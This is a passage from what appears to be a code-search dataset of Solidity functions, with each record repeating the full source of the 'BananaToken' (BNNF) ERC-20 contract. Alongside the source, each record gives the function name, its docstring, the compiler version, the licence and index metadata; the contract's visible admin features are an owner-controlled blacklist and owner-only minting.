_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) external onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*/
function burn(uint256 amount) external returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | // banana token | LineComment | totalSupply | function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
| /**
* @dev See {ERC20-totalSupply}.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
1644,
1743
]
} | 8,992 |
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | BananaToken | contract BananaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
event AddToBlackList(address account);
event RemoveFromBlackList(address account);
mapping (address => bool) private blackList;
constructor() {
_name = "Banana Token";
_symbol = "BNNF";
_decimals = 18;
_totalSupply = 1 ether * 108000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function addToBlackList(address account) external onlyOwner {
blackList[account] = true;
emit AddToBlackList(account);
}
function removeFromBlackList(address account) external onlyOwner {
blackList[account] = false;
emit RemoveFromBlackList(account);
}
/**
* @dev Returns the erc token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external override view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(blackList[recipient] == false, "Error: transfer to blacklist address");
require(blackList[_msgSender()] == false, "Error: transfer from blacklist address");
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(blackList[sender] == false, "Error: transfer to blacklist address");
require(blackList[recipient] == false, "Error: transfer from blacklist address");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) external onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*/
function burn(uint256 amount) external returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | // banana token | LineComment | balanceOf | function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
| /**
* @dev See {ERC20-balanceOf}.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
1794,
1912
]
} | 8,993 |
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | BananaToken | contract BananaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
event AddToBlackList(address account);
event RemoveFromBlackList(address account);
mapping (address => bool) private blackList;
constructor() {
_name = "Banana Token";
_symbol = "BNNF";
_decimals = 18;
_totalSupply = 1 ether * 108000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function addToBlackList(address account) external onlyOwner {
blackList[account] = true;
emit AddToBlackList(account);
}
function removeFromBlackList(address account) external onlyOwner {
blackList[account] = false;
emit RemoveFromBlackList(account);
}
/**
* @dev Returns the erc token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external override view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(blackList[recipient] == false, "Error: transfer to blacklist address");
require(blackList[_msgSender()] == false, "Error: transfer from blacklist address");
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(blackList[sender] == false, "Error: transfer to blacklist address");
require(blackList[recipient] == false, "Error: transfer from blacklist address");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) external onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*/
function burn(uint256 amount) external returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | // banana token | LineComment | transfer | function transfer(address recipient, uint256 amount) external override returns (bool) {
require(blackList[recipient] == false, "Error: transfer to blacklist address");
require(blackList[_msgSender()] == false, "Error: transfer from blacklist address");
_transfer(_msgSender(), recipient, amount);
return true;
}
| /**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
2103,
2440
]
} | 8,994 |
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | BananaToken | contract BananaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
event AddToBlackList(address account);
event RemoveFromBlackList(address account);
mapping (address => bool) private blackList;
constructor() {
_name = "Banana Token";
_symbol = "BNNF";
_decimals = 18;
_totalSupply = 1 ether * 108000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function addToBlackList(address account) external onlyOwner {
blackList[account] = true;
emit AddToBlackList(account);
}
function removeFromBlackList(address account) external onlyOwner {
blackList[account] = false;
emit RemoveFromBlackList(account);
}
/**
* @dev Returns the erc token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external override view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(blackList[recipient] == false, "Error: transfer to blacklist address");
require(blackList[_msgSender()] == false, "Error: transfer from blacklist address");
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(blackList[sender] == false, "Error: transfer to blacklist address");
require(blackList[recipient] == false, "Error: transfer from blacklist address");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) external onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*/
function burn(uint256 amount) external returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | // banana token | LineComment | allowance | function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
| /**
* @dev See {ERC20-allowance}.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
2491,
2633
]
} | 8,995 |
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | BananaToken | contract BananaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
event AddToBlackList(address account);
event RemoveFromBlackList(address account);
mapping (address => bool) private blackList;
constructor() {
_name = "Banana Token";
_symbol = "BNNF";
_decimals = 18;
_totalSupply = 1 ether * 108000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function addToBlackList(address account) external onlyOwner {
blackList[account] = true;
emit AddToBlackList(account);
}
function removeFromBlackList(address account) external onlyOwner {
blackList[account] = false;
emit RemoveFromBlackList(account);
}
/**
* @dev Returns the erc token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external override view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(blackList[recipient] == false, "Error: transfer to blacklist address");
require(blackList[_msgSender()] == false, "Error: transfer from blacklist address");
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(blackList[sender] == false, "Error: transfer to blacklist address");
require(blackList[recipient] == false, "Error: transfer from blacklist address");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) external onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*/
function burn(uint256 amount) external returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | // banana token | LineComment | approve | function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
| /**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
